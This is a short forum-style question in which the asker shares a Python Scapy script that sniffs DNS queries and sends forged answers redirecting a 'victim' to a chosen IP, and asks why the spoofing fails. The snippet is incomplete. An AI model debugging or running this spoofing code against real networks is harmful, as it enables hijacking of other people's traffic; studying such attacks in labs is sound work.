I'm trying to perform DNS spoofing but seems it doesn't impact the victim, The packet is showing on Wireshark the way it needs to be but still, the victim gets to the correct IP and not the one I wants to (facebook.com)
def dns_spoof(pkt):
redirect_to = '157.240.195.35' # facebook.com IP
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
pk = sniff(lfilter=filtering, prn=dns_spoof)# main
picture from Wireshark: (trying to spoof when victim enter cool.com)
Why doesn't it work?